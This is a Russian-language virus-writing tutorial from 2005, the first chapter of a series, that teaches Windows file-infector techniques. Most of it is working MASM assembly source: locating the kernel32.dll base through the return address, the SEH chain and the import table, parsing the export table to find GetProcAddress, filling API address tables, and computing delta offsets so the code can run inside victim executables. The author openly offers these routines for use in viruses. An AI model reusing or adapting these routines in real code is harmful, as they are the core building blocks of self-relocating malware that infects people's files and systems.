Вирусология: От зеленого к красному: Глава 1: Память. База kernel32.dll. Адреса API-функций. Дельта-смещение
Автор: Bill / TPOC
Опубликовано: 3 августа 2005 года
Источник: "Wasm.ru"
Адресное пространство процесса
База
– это адрес чего-то, что лежит в адресном пространстве текущего процесса. Для
каждой программы в Windows существует свое адресное пространство. Его объем 4Гб. Т.к. на самом
деле такого количества памяти нет, и адреса памяти не соответствуют физическим,
поэтому его называют виртуальным адресным
пространством. Противоположное этому понятие называется – физическое адресное пространство. Откуда
берется столько памяти, если на машине установлено, всего лишь 256 Мб?
Операционная система использует дисковое пространство. Если какие-либо куски
кода или данных не нужны, она сбрасывает их на диск. Шина адреса для 32х разрядного
процессора 32-х разрядная, т.е. адрес может быть 32х разрядным. Диапазон
значения адреса – 0..4 294 967 269d, а в шестнадцатеричной системе счисления 0..0FFFFFFFFh. Скоро, когда мы
будет программировать для 64-х разрядных ОС размер виртуального адресного
пространства увеличиться до 16 экзабайт. Этому пространству соответствует
диапазон для указателей 0..0FFFFFFFFFFFFFFFFh. Каждый процесс работает в своем адресном пространстве. Это означает
что если Вы создали программу и запустили ее, никакая другая программа не
сможет читать или изменять данные в Вашей программе. Есть, конечно, много
способов изменить такое положение вещей, но для этого надо использовать
специальные механизмы. Адресное пространство процесса полностью не принадлежит
ему. Более того, если мы обратимся не туда куда надо, то ОС завершит нашу
программу сразу же. Почему так? Да потому, что виртуальное адресное
пространство разбивается на разделы, которые имеют свое специфическое
назначение. Раздел для данных и кода приложения имеет диапазон 00010000H..0BFFEFFFFH. Существует
раздел для кода и данных режима ядра. Он находиться в диапазоне 0C0000000H..0FFFFFFFFH. Например, в
отладчике режима ядра Вы можете посмотреть в зависимости от адреса, какой код
трассируется – код пользовательского режима или режима ядра. Все что Вы должны
из этого для себя почерпнуть это то, что все пространство памяти делиться на
куски, которые имеют свое назначение. Также есть такие разделы – для выявления
нулевых указателей, закрытый раздел. Я не привожу диапазоны, т.к. они обычно не
нужны. Диапазоны, которые я привел, справедливы для ОС WindowsXP. Вообще, в ОС отличных от WindowsXPмогут быть другие диапазоны и другие наборы
разделов, если Вас это интересует, то Вы можете узнать их точно на сайте производителя
этих самых ОС, нашу горячо любимую корпорацию Micro$oft(http://www.microsoft.com). В
базовом разделе PlatformSDKговорится, что нижние
2 Гб относятся к коду и данным пользовательского режима, а верхние к коду и
данным режима ядра. Остальные детали о регионах могут меняться с каждым
выпуском обновления.
Страницы и регионы
Для
памяти в Windowsесть унифицированная единица, которой можно манипулировать напрямую – страница(page). Странице памяти можно присвоить определенный атрибут, т.е. можно ли
считывать данные со страницы или записывать и т.д. Размер страницы зависит от
типа процессора. Так для процессоров с архитектурой x86 размер страницы равен
4 Кб. Для 64-разрядного процессора размер страницы может отличаться от 32-разрядного.
Чтобы получить размер страницы можно использовать функцию GetSystemInfo.
Для
того чтобы воспользоваться какой-либо частью виртуального адресного
пространства мы должны сначала выделить в нем регион. Регион – эта область памяти (совокупность страниц)
произвольного (но кратного) размера с одним и тем же атрибутом страниц. Операция
выделения региона называется резервированием.
При резервировании ОС выравнивает начало региона с учетом гранулярности выделения памяти(Allocation Granularity). Эта величина
зависит от типа процессора, но для процессоров с архитектурой (x86,IA-64) она составляет 64
Кбайта. Чтобы получить значение гранулярности выделения памяти можно
использовать функцию GetSystemInfo. Например, если исполняемый файл подгружает какие-нибудь DLL, то сначала он
резервирует регион для этой DLLподходящего размера, а потом передает физическую память с диска
на зарезервированный регион. Регион резервируется с учетом гранулярности, т.е.
он будет кратен величине 64 Кб и значит, сама DLLбудет размещаться по адресам кратным 64 Кб,
т.к. она размещается с самого начала региона. Т.к. единица памяти – страница,
то размер региона кратен размеру страницы, т.е. регион выделяется страницами.
Библиотека kernel32.dll
Теперь
поговорим о kernel32.dll. Это библиотека динамической компоновки(DinamicLinkLibrary) которая содержит
основные системные подпрограммы(routines) для поддержки подсистемы Win32. Процедуры, которые мы используем в своих программах для Windows, так или иначе
содержаться в kernel32.dll. Например, мы завершили выполнение своего кода и хотим корректно
завершиться. Надо использовать функцию ExitProcess. Она содержится в kernel32.dll. Если мы хотим
использовать функции из других DLL, то в kernel32.dllесть функция GetProcAddress, которая возвращает нам указатель на требуемую функцию. Функции GetProcAddressнадо
указать описатель(handle) модуля и указатель на строку с именем функции. Описатель модуля можно
получить с помощью функции GetModuleHandle, которой передается указатель на строку с именем функции. Вы спросите:
«А зачем получать адреса функций, если я и так могу их вызывать из своих
программ?». Дело в том, что проблем с адресами API-функций нет, если у Вас есть самостоятельный
исполняемый модуль. При загрузке exe-файла ОС сама находит нужные адреса с помощью функции LoadLibrary. Обычно
программисты об этом и не задумываются. Но представьте, что Вы пишете вирус, а
он часто не является отдельным exe-файлом, а живет внутри файла-жертвы. Ему, для своего существования
приходиться ;) вызывать разные API-функции, но их адреса он не знает. В одной и той же ОС, например WindowsXP, база kernel32.dll, т.е. ее (библиотеки) начало, может быть
фиксирована и иметь, например, значение 7с800000h. Но в зависимости от ситуации или операционной
системы этот базовый адрес может изменяться. Наша задача писать вирусы, которые
могут функционировать на, как можно, большем числе платформ. Для этого нам надо
сначала найти базу kernel32.dll, а потом получить адреса нужных нам API-функций из этой библиотеки. Вообще сначала нам
нужна всего одна функция – GetProcAddress. Если мы используем функции из библиотек отличных от kernel32.dll, то также GetModuleHandle. Мы
предполагаем, что процесс-жертва использует функции kernel32.dll. Если нужной нам
библиотеки может не оказаться в адресном пространстве процесса-жертвы, то нам
понадобиться и функция LoadLibrary.
Если
мы используем процедуры из этой библиотеки kernel32.dll, то она должна быть спроецирована в адресное
пространство процесса. Проецирование делается при создании объекта ядра
«проекция файла». Точно также, при загрузке exe-файла или его запуске, загрузчик создает его
проекцию в адресном пространстве созданного процесса. Потом он просматривает
таблицу импорта и проецирует все dllили exeнужные приложению. База kernel32.dll- это адрес в памяти, где начинается спроецированная в память
библиотека.
Получение базы kernel32.dll
Существует
несколько способов получения базы kernel32.dll. Все они, так или иначе, опираются на какие-то тонкости ОС. Вы можете
удивиться, но я в этой книге рассмотрю все известные мне способы. Все они будут
представлены в виде ассемблерных процедур. (В терминологии языков
программирования термины «функция» и «процедура» эквиваленты. Но язык Паскаль
внес здесь свою путаницу. Я, естественно, буду руководствоваться традиционной и
универсальной терминологией). Отдельные способы используют методы получения
адреса в какой-нибудь процедуре из kernel32.dll. Суть метода в том, что мы каким-либо способом находим адрес
произвольной процедуры в kernel32.dll. Каким способом, зависит от внутренней реализации ОС и ее особенностей.
Другой способ заключается в проверке таблицы импорта.
Вы
можете не разбираться даже в деталях реализации процедур и сразу же их
использовать. Для подобного удобства около заголовка каждой из процедур будет
описание входных и выходных данных. Ни одна из процедур не изменяет регистры за
исключением выходного параметра. Например, если Вы вызываете процедуру ValidPE, и перед ней
написано что выходной параметр помещается в регистр eax, то изменяется только
регистр eax.
Остальные регистры остаются с тем же содержимым что и до вызова процедуры.
Признаюсь, я тут немного соврал. Не все регистры остаются с такими же
значениями. Один регистр, все таки изменяется. Как Вы думаете какой? EIP. Также следите за вложенными
процедурами.
Проверка PE-файла на правильность
Далее
я привожу процедуру проверки PE-файла на правильность. Посмотрите на код. В исполняемом файле данные
расположены, как “MZ” и “PE”, но мы сравниваем их
наоборот. Здесь вступает в силу принцип «младший байт по младшему адресу». Это
означает, что в памяти байты данных расположены наоборот. Соль в том что “MZ” и “PE“ рассматриваются не как
строки, а как слова в памяти. Строки – это массив байтов. Т.е. если мы берем
слово, то адрес младшего байта является адресом всего слова. А младший байт
это, в случае “PE”, естественно “E”. Специфика микропроцессора здесь в том, как он работает с памятью и
как интерпретирует адреса. Задумайтесь в связи с этим об аппаратной поддержке
типов данных. Это очень важно. Вы должны хорошо это усвоить.
;#########################################################################
;Процедура ValidPE
;Проверка правильности PE-файла
;Вход: В esi - адрес файла в памяти
;Выход: если файл правильный, то eax=1, иначе eax=0
;Заметки: обычно процедура используется с проецируемыми файлами в память
;#########################################################################
ValidPE proc
push esi;сохраняем все регистры
pushf;сохраняем регистр флагов
.IF WORD ptr [esi]=="ZM"
assume esi:ptr IMAGE_DOS_HEADER;указание компилятору,
;что в esi указатель на IMAGE_DOS_HEADER
add esi,[esi].e_lfanew;переход к PE заголовку
.IF WORD PTR [esi]=="EP"
popf;восстанавливаем значения флагов
pop esi;восстанавливаем значения регистров
mov eax,TRUE
ret
.ENDIF
.ENDIF
popf;восстанавливаем значения флагов
pop esi;восстанавливаем значения регистров
mov eax,FALSE
ret
ValidPE endp
;#########################################################################
;Конец процедуры ValidPE
;#########################################################################
Получение базы
Допустим,
что мы каким-либо способом получили адрес где-то в kernel32.dll. Способы получения
такого адреса приведены в разделе “Способы получения адреса в памяти kernel32.dll”. Теперь наша задача
получить базу по данному адресу. В нескольких способах мы сначала получаем
адрес в памяти внутри kernel32.dll. Мы используем здесь гранулярность выделения памяти, т.е. сначала
выравниваем значение адреса до 64 Кб, проверяем не база ли это уже kernel32.dll, если нет, то идем
шагами назад по 64 Кб. Чтобы проверить, не база ли это, проверяем правильность
формата PEфайла.
Теперь
вопрос о том, сколько страниц проверять и когда останавливаться. Размер
исполняемого образа kernel32.dllв WindowsXPSP2 около 1 Мб. Мы не знаем, где находиться сама процедура CreateProcess или UnhandledExceptionFilter.
Но она точно содержится в секции кода PE-файла. Можно проанализировать PE-заголовок и выяснить
начало секции кода и ее размер. Но это избыточные меры. В каждой ОС семейства Windows, как показывает
проведенное тестирование, база находиться
без счетчика. Я тестировал свою программу на ОС Windows
95,98,ME,2000,XP. Предлагаю Вам
табличку с базами:
ОС
|
База kernel32.dll
|
Windows XP SP1
|
77E60000H
|
Windows XP SP2
|
7C000000H
|
Windows 2000 SP4
|
79430000H
|
Можно
полагаться на результаты тестирования. Но я ввожу счетчик, лишь для того, чтобы
сделать процедуру универсальной.
Вот исходный код
процедуры для получения базы:
;#########################################################################
;Процедура GetBase
;Поиск базы исполняемого файла, если есть адрес где-то внутри него
;Вход: В esi - адрес внутри файла в памяти
;Выход:В eax - база PE-файла
;Заметки:обычно процедура используется с спроецируемыми файлами в память
;#########################################################################
GetBase proc
LOCAL Base:DWORD;чтобы не изменять контекст по договоренности
push esi;сохраняем все регистры, которые используются
push ecx
pushf;сохраняем регистр флагов
and esi,0FFFF0000H;гранулярность выделения памяти
mov ecx,6;счетчик страниц
NextPage:;проверка очередной страницы
call ValidPE
.IF eax==1
mov Base,esi
popf
pop ecx
pop esi
mov eax,Base
ret
.ENDIF
sub esi,10000H
loop NextPage
popf;восстанавливаем значения флагов
pop ecx
pop esi;восстанавливаем значения регистров
mov eax,FALSE;не нашли базу :(
ret
GetBase endp
;#########################################################################
;Конец процедуры GetBase
;#########################################################################
Способы получения адреса в kernel32.dll
В этом разделе будут рассмотрены способы
получения адреса в памяти внутри спроецированной DLL.
Способ 1: Адрес возврата
Посмотрите такой пример:
.386
option casemap:none
.model flat,stdcall
;----------------------IncludeLib and Include-----------------------
includelib f:\tools\masm32\lib\kernel32.lib
include f:\tools\masm32\include\kernel32.inc
;--------------------End IncludeLib and Include---------------------
.data
db 0
.code
start:
pop eax;берем из стека значение и записываем его в eax
invoke ExitProcess,0
end start
Что,
по Вашему, поместиться в регистр eax? Как операционная система создает процесс? Правильно, с помощью
функции CreateProcess. CreateProcessнаходиться где-то внутри kernel32.dll. Т.о. в eaxмы получаем адрес где-то внутри kernel32.dll. Когда запускается зараженный файл, то
управление передается вирусу. Вот тут-то мы и сцапаем нужный адрес. Но это
естественно надо cделать сразу при запуске программы, а то стек забьется какими-нибудь
данными или адресами возврата. Вот код, который должен выполнить Ваш вирус для
получения базы kernel32.dll с помощью данного способа:
start:;начало тела вируса
mov esi,[esp]
call GetBase;после вызова в eax - база kernel32.dll
Просто, не правда ли?
Способ 2: SEH
SEH расшифровывается как Structured
Exception Handling. По-русски – Структурная Обработка
Исключения (СОИ). Вы узнаете о SEHвсе в соответствующей части данной книги. Здесь я только приведу
способ, как получить адрес в kernel32.dll используя SEH. Кажется навороченно, да? Но на самом деле это достаточно просто. По
адресу FS:0 находится
структура, которая называется TIB(Thread Information Block). Перый DWORDTIB’а указывает на структуру которую называют ERR. Вот как она выглядит:
1ый
dword
|
Указатель на следующую ERRструктуру
|
2ой
dword
|
Указатель на обработчик исключния
|
Т.о.
формируется связный список. Как узнать где заканчивается связный список? Если
это последний элемент списка, то 1ый DWORD имеет значение -1. Операционная
система при создании процесса сама устанавливает обработчик, чтобы, если что,
выдать на экран MessageBoxс сообщением об ошибке. Если это последний элемент в цепочке структур ERR, то указатель на
обработчик исключения будет находиться где-то в kernel32.dll. Важно где именно. Этот адрес не будет
совпадать с функцией UnhandledExceptionFilter. Это можно проверить практически.
На самом деле это стандартный обработчик ОС Windows. Вот процедура, которая демонстрирует эту
технику:
;#########################################################################
;Процедура GetKernelSEH
;Поиск адрес внутри kernel32.dll
;Вход: ничего
;Выход:В eax - адрес внутри kernel32.dll
;#########################################################################
GetKernelSEH proc
assume fs:flat;для масма обязательно. По умолчанию assume fs:err
mov eax,dword ptr fs:[0];в eax - указатель на структуру ERR
NextElem:
cmp dword ptr [eax],-1;последний элемент
je Yes
mov eax,dword ptr [eax]
jmp NextElem
Yes:;если пришли к последнему элементу
mov eax,[eax+4]
ret
GetKernelSEH endp
;#########################################################################
;Конец процедуры GetKernelSEH
;#########################################################################
После получения
адреса внутри kernel32.dll вызываем функцию GetBase, передавая ей соответствующие параметры для получения базы.
Таблица импорта
Этот
способ отличается от приведенных выше. При загрузке PE-файла в память
загрузчик заполняет адреса соответствующих функций из соответствующих DLL, которые нужны
программе. Т.е. эти адреса хранятся внутри PE-файла, когда он загружен. Нам необходимо
получить адрес любой функции из kernel32.dll
В
таблице импорта есть два массива адресов. Один не изменяется. В нем содержаться
сразу адреса импортируемых функций. Это применимо, в частности, для системных DLL. Второй массив
заполняется при загрузке PE-файла. Чтобы найти базу kernel32.dllнадо найти таблицу импорта. В таблице импорта найти второй массив
адресов. Массивы называются IMAGE_THUNK_DATA
и описаны в WINNT.H. Первый
массив называется OriginalFirstFunk, второй FirstThunk. Точнее так называются указатели на них, определенные в WINNT.H. Вам надо хорошо
разбираться в импорте PE-файлов, чтобы понять это. Сначала мы должны найти начало зараженного
файла. Потом переходим к PEзаголовку. Далее проходим до IMAGE_DATA_DIRECTORY. Переходим к элементу с индексом 1. Элемент с индексом 1 соответствует
таблице импорта PE-файла. Сохраняем RVAи складываем его с базой нашего EXE. По найденному адресу находятся структуры IMAGE_IMPORT_DESCRIPTOR. В этой
структуре есть элемент – указатель на имя импортируемой DLL. Проверяем не kernel32.dllли это, если нет, то
идет к следующей структуре IMAGE_IMPORT_DESCRIPTOR. Если это kernel32.dll, то идем по указателю FirstThunk. Он указывает на таблицу адресов импорта или по-другому IMAGE_THUNK_DATA. Эта таблица
переписывается загрузчиком PE-файла при загрузке. Вы можете подумать, что можно из таблицы импорта
сразу взять адрес функции GetProcAddress. Но не факт что она будет там, так как сам EXE-файл может не
импортировать функцию. Вот код который выуживает адрес одной из функций
библиотеки kernel32.dll:
;#########################################################################
;Процедура GetKernelImport
;Поиск адреса внутри kernel32.dll
;Вход: ничего
;Выход:В eax - адрес внутри kernel32.dll
;#########################################################################
GetKernelImport proc
push esi
push ebx
push edi
call x
x:
mov esi,dword ptr [esp];в esi - смещение данной команды
add esp,4;выравниваем стек
and esi,0FFFF0000h;используем гранулярность
y:
call ValidPE;начало EXE-файла?
.IF eax==0;если нет, то ищем дальше
sub esi,010000h
jmp y
.ENDIF
mov ebx,esi;в ebx теперь будем хранить базу
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew;в esi - заголовок PE
assume esi:ptr IMAGE_NT_HEADERS
lea esi,[esi].OptionalHeader;в esi - адрес опционального заголовка
assume esi:ptr IMAGE_OPTIONAL_HEADER
lea esi,[esi].DataDirectory;в esi - адрес DataDirectory
add esi,8;в esi - элемент 1 в DataDirectory
mov eax,ebx
add eax,dword ptr [esi];в eax - смещение таблицы импорта
mov esi,eax
assume esi:ptr IMAGE_IMPORT_DESCRIPTOR
NextDLL:
mov edi,[esi].Name1
add edi,ebx
.IF DWORD PTR [edi]=="NREK";черт, мы могли бы написать так:
.IF TBYTE PTR [edi]=="LLD.LENREK", но нас сдерживает формат машинной
; команды Intel в которой константа может быть не более 4 байт
;нашли запись о kernel32!!!
mov edi,[esi].FirstThunk
add edi,ebx;в edi - VA массива IMAGE_THUNK_DATA
mov eax,dword ptr [edi];в eax адрес какой-то из функций kernel32.dll
pop edi
pop ebx
pop esi
ret
.ENDIF
add esi,sizeof IMAGE_IMPORT_DESCRIPTOR
jmp NextDLL
GetKernelImport endp
;#########################################################################
;Конец процедуры GetKernelImport
;#########################################################################
Здесь были
рассмотрены наиболее популярные и известные способы. Если у Вас есть мысли по
этому поводу, то присылайте их мне на электронную почту, обсудим вместе.
Поиск адресов API-функций
Поиск GetProcAddress
Вот
мы получили базу kernel32.dllв адресном пространстве текущего процесса. Теперь нам надо найти для
начала функцию GetProcAddress. Cее
помощью мы получим желаемые адреса API-функций, которые мы будем использовать. Чтобы получить адрес функции GetProcAddressбудет
анализировать таблицу экспорта PE-файла.
Для начала находим таблицу экспорта.
Из нее получаем адрес массива AddressOfNames. Это массив двойных слов. Каждое двойное слово – это RVAна ASCIIZстроку с именем
экспортируемой функции. Мы проходим по этому массиву и сравниваем имя «GetProcAddress» с именем
экспортируемой функции. Номер слова в AddressOfNames будет индексом для массива AddressOfFunctions. Но
нельзя забывать о элементе nBaseструктуры IMAGE_EXPORT_DIRECTORY. Это начальный номер экспорта для экспортируемых функций. После
получения индекса функции мы должны нормализовать его значение относительно nBase. Полученный индекс
используем для получения адреса функции из массива AddressOfFunctions.
Вот процедура
которая все это делает:
;Процедура GetGetProcAddress
;Поиск адреса внутри kernel32.dll
;Вход: в стек кладется смещение имени "GetProcAddress"
; ebx - база kernel32.dll
;Выход:В eax - адрес функции GetProcAddress
;#########################################################################
GetGetProcAddress proc NameFunc:DWORD
pushad;сохраняем регистры
mov esi,ebx
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew;в esi - заголовок PE
assume esi:ptr IMAGE_NT_HEADERS
lea esi,[esi].OptionalHeader;в esi - адрес опционального заголовка
assume esi:ptr IMAGE_OPTIONAL_HEADER
lea esi,[esi].DataDirectory;в esi - адрес DataDirectory
mov esi,dword ptr [esi]
add esi,ebx;в esi - структура IMAGE_EXPORT_DIRECTORY
push esi
assume esi:ptr IMAGE_EXPORT_DIRECTORY
mov esi,[esi].AddressOfNames
add esi,ebx;в esi - массив имен функций
xor edx,edx;в edx - храним индекс
mov eax,esi
mov esi,dword ptr [esi]
NextName:;поиск следующего имени функции
add esi,ebx
mov edi,NameFunc
mov ecx,14;количество байт в "GetProcAddress"
cld
repe cmpsb
.IF ecx==0;нашли имя
jmp GetAddr
.ENDIF
inc edx
add eax,4
mov esi,dword ptr [eax]
jmp NextName
GetAddr:;если нашли "GetProcAddress"
pop esi
mov edi,esi
mov esi,[esi].AddressOfNameOrdinals
add esi,ebx;в esi - массив слов с индесками
mov dx,word ptr [esi][edx*2]
assume edi:ptr IMAGE_EXPORT_DIRECTORY
sub edx,[edi].nBase;вычитаем начальный ординал
inc edx;т.к. начальный ординал начинается с 1
mov esi,[edi].AddressOfFunctions
add esi,ebx;в esi - массив адресов функций
mov eax,dword ptr [esi][edx*4]
add eax,ebx;в eax - адрес функции GetProcAddress
mov NameFunc,eax
popad;восстанавливаем регистры
mov eax,NameFunc
ret
GetGetProcAddress endp
;#########################################################################
;Конец процедуры GetGetProcAddress
;#########################################################################
Получение остальных адресов функций
После вызова функции GetGetProcAddressв
регистре eax
у нас есть адрес функции GetProcAddress. Передавая соответствующие параметры функции, получаем адреса других
функций. Вызывать функцию можно как calleax.Взляните на код:
.data
AddAtom1 db "AddAtomA",0
start:
call GetKernelImport
mov esi,eax
call GetBase
mov esi,eax
push offset NameGetProcAddress
call GetGetProcAddress
push offset AddAtom1;указатель на строку
push esi;передаем базу kernel32.dll
call eax
После
вызова calleaxв регистре eaxбудет лежать адрес
функции AddAtomA. При поиске не забывайте, что одна и та же функция может
присутствовать в 2-х версиях – ANSIи UNICODE. Функции принимающие ANSI-строки, у них в конце имени стоит буква «A». Функции принимающие UNICODE-строки, у них в
конце имени стоит буква «W». В примере выше, функция AddAtomпринимает указатель на ANSI-строку. Как узнать, что функция существует в
двух вариантах? Есть два способа. 1) Подумать :) Если функция принимает
какую-нибудь строку, то она точно в двух вариантах.2) В Win32.hlp– справочнике по API-функциям, в описании
каждой функции можно посмотреть краткую информацию о функции (кнопка QuickInfo). Там есть
строка Unicode. Если там что-нибудь, кроме None, то функция существует в двух вариантах, иначе
- в одном. Описание функции GetProcAddress, я думаю, Вы посмотрите сами.
Нам
может быть полезна функция LoadLibrary, которая загружает PE-файл в адресное пространство процесса. Если
модуль уже загружен, то эта функция вернет нам базовый адрес данного модуля. Она
будет нужна, если наш зверь требует функции, которые могут не быть в KERNEL32.DLL. Единственный параметр,
который передается LoadLibrary, это адрес строки с именем требуемой DLLили EXE-файла. Теперь я опишу, как действуют большинство вирусов при получении
адресов APIфункций.
Вирус
хранит в своем теле имена API-функций чтобы потом найти их адреса. Он может также хранить
контрольные суммы для строк, содержащих имена. Но я пока не буду затрагивать
теорию контрольных сумм. Все что известно о хешах и контрольных суммах,
стандартные алгоритмы и примеры использования,
Вы узнаете в соответствующей главе. А пока потерпите. Здесь мы
рассмотрим пока только простые имена.
Где
внутри тела вируса есть такие строки:
imp:
db 'FindFirstFileA',0
db 'FindNextFileA',0
db 'FindClose',0
db 'CreateFileA',0
Им
соответствуют переменные вида:
f:
_FindFirstFileA dd ?
_FindNextFileA dd ?
_FindClose dd ?
_CreateFileA dd ?
Важно,
что между ними взаимнооднозначное соответствие (привет Соломатину О.Д.!).
Порядок, тоже сохраняется. Этими свойствами мы и пользуемся при получении
адресов. Можно, конечно, обойтись без циклов и соответсвий, но в ассемблере
халявы нет, в вирмейкинге тем более.
Ниже
приведен код процедуры, которая заполняет соответствующую область адресами нужных
API-функций:
;#########################################################################
;Процедура GetAPIs
;Получение адресов всех требуемых API-функций
;Вход: В edi указатель на массив ASCIIZ строк имен функций
; В ebx - смещение массива двойных слов которые заполняет функция
; В esi - база kernel32.dll
; В ecx - адрес функции GetProcAddress
; В стек кладется количество функций
;Выход:заполняются соответствующие поля
;#########################################################################
GetAPIs proc Number:DWORD
Pushad
mov eax,ecx
mov ecx,Number
NextFunc:
push eax
push esi
push edi
push ebx
push ecx
push edi;имя функции
push esi;база kernel32
call eax;вызов GetProcAddress
pop ecx
pop ebx
pop edi
pop esi
mov dword ptr [ebx],eax;помещаем адрес функции в переменную
pop eax
add ebx,4;следующая переменная
push ecx;сохраняем счетчик
mov ecx,30;для цепочечной команды
push eax
mov al,0;ищем 0
repne scasb
pop eax
pop ecx
loop NextFunc
popad
ret
GetAPIs endp
;#########################################################################
;Конец процедуры GetAPIs
;#########################################################################
Далее я привожу
пример программы которая демонстрирует использование данных методик. Также
программа использует дельта смещение описанное выше. Программа просто создает
файл с именем “c:\2.txt”, а потом завершается. Естественно, что адреса API функций мы получаем
сами. Никаких библиотек импорта, как Вы поняли, не требуется. В файле Part1.incнаходятся требуемые
функции, листинги которых приведены выше. Файл Part1.inc можно скачать отсюда.
.386
option casemap:none
.model flat,stdcall
include \tools\masm32\include\windows.inc
includelib \tools\masm32\lib\kernel32.lib
include \tools\masm32\include\kernel32.inc
.data
db 0
.code
invoke ExitProcess,0
start:
call delta
delta:
mov ebp,dword ptr [esp]
sub ebp,offset delta
lea ebx,[ebp+x]
jmp x
a db "c:\\2.txt",0
NameGetProcAddress db "GetProcAddress",0
imp:
db 'CreateFileA',0
address label DWORD
_CreateFileA dd ?
include part1.inc
x:
lea eax,[ebp+GetKernelSEH]
call eax
mov esi,eax
lea eax,[ebp+GetBase]
call eax
mov esi,eax
lea eax,[ebp+NameGetProcAddress]
push eax
lea eax,[ebp+GetGetProcAddress]
mov ebx,esi
call eax
mov ecx,eax
lea edi,[ebp+imp]
lea ebx,[ebp+address]
push 1
lea eax,[ebp+GetAPIs]
call eax
mov eax,[ebp+_CreateFileA]
push 0
push FILE_ATTRIBUTE_NORMAL
push CREATE_NEW
push 0
push 0
push 0
lea ecx,[ebp+a]
push ecx
call eax
end start
Кстати
у меня к Вам маленький вопрос уважаемый читатель. Что будет, если мы получим
базу не с помощью функции callGetKernelSEH, а с помощью
функции GetKernelImport? Ответ: программа глюканет. Вы заметили, что наша программа не пользуется
никакими прототипами? Из-за этого у нее нет экспортируемых функций. Но, если Вы
будете внедрять код, то этот метод отлично подойдет, т.к. практически все Windowsприложения
импортируют функции из библиотеки kernel32.dll. Кроме такой, листинг которой, приведен выше. Не забудьте поменять
атрибут секции кода, если будете компилировать программу.
Дельта смещение
Это
последняя вещь, о которой я хотел Вам рассказать в той главе. Представьте, что
Вы заразили файл. Теперь код вируса или его часть находиться в другом exe-файле. Например,
возьмем переменную _CreateFileA. Она имеет определенное смещение. Смещение это фиксировано. И если
код, приведенный выше запишется в другой exe-файл, то это смещение будет уже некорректным.
Наша задача сделать так, чтобы смещение не зависело от местоположения кода. Для
этого, нам надо узнать по какому смещению находиться наш код. И относительно
этого смещения вычислить смещение нашей переменной. Это же относиться и к
функциям нашего кода. Дельта смещение – это значение, показывающее на сколько байт
сместилось положение нашего кода. Проще говоря дельта-смещение – это адрес где
находиться код которые сейчас выполняется. Дельта-смещение вычисляют обычно
вначале старта кода вируса.
Вот
пример получения дельта-смещения:
call delta
delta:
pop ebp
sub ebp,offset delta
После выполнения
этого кода в регистре ebpнаходиться дельта смещение. Вот еще несколько способов получения дельта
смещения:
d: jmp c1
x dw 0
c1: lea ebp,x
sub ebp,offset d
sub ebp,2;в EBP - дельта смещение
Еще один, по типу
предыдущего:
d: jmp c1
x db "Hello!!! I'm Crazy Virus",0
c1: lea ebp,x
sub ebp,offset d
sub ebp,2;в EBP - дельта смещение
Вот этот прием от BillyBelcebu:
mov ebx,old_size_of_infected_file;используем размер файла, до инфецирования
jmp ebx
И Еще:
m: lea ebx,m
sub ebx,offset m;в EBX - дельта смещение
На самом деле существует бесконечное
число способов получить дельта смещение. Это зависит только от Вашей фантазии и
знания языка ассемблер.
Использование дельта смещения
Теперь,
как пользоваться переменными или функциями. Пусть у нас есть две переменные Xи Y. Пусть дельта смещение
находиться в регистре EBP, тогда обращение к переменным в Вашем коде будет выглядить следующим
образом:
...
mov eax,[EBP+offset X]
xor eax,4
mov [EBP+offset Y],eax
...
jmp x;например, переход к нормальной точке входа
X DB 123
Y DW 0
Т.к. адреса функций помещаются в переменные, то этот способ
также можно использовать для вызова функций:
...
push 0
mov eax,[EBP+offset _ExitProcess]
call eax
...
jmp x;например, переход к нормальной точке входа
_ExitProcess dd ?
Защита
В
данной главе приводились методы, которые используют очень много вирусов. Этот
код типичен. Эврестик просто должен распознавать что-то подобное.
Благодарности
В этом разделе я хочу выразить благодарности
людям, которые помогли мне:
DayDream/TPOC
Volodya/wasm.ru – Вы все его
знаете, спасибо за поддержку
Aquila/wasm.ru – твои переводы
помогли многим, мне в том числе
Svl
/TPOC
Follower
/TPOC
Occas’
Ion– спасибо за интересные идеи
z0mbie/29a– большой respect Тебе
Sars
The Great Zopuh
Slon
NoName